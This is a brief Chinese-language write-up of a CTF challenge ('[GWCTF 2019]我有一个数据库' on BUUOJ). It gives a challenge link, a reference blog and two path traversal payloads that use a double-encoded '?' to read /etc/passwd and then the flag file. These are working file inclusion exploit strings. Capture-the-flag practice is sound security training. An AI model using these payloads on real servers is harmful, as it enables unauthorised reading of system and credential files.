试题地址:https://buuoj.cn/challenges#[GWCTF 2019]我有一个数据库
参考链接:https://blog.csdn.net/BROTHERYY/article/details/107682948
?target=db_datadict.php%253f/../../../../../../../../etc/passwd ?target=db_datadict.php%253f/../../../../../../../../flag //修改为flag就可以了